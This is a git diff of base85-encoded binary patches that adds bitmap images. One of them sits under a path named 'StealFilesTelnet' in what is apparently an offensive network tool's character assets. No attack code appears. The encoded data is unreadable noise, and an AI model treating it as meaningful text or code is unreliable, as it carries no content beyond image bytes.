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 KOgdk=@_zy0siRl` literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet.bmp b/resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet.bmp new file mode 100644 index 0000000000000000000000000000000000000000..ad5329176dda2c8ddf575e0d30bfd56c8b6d5d86 GIT binary patch literal 2406 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 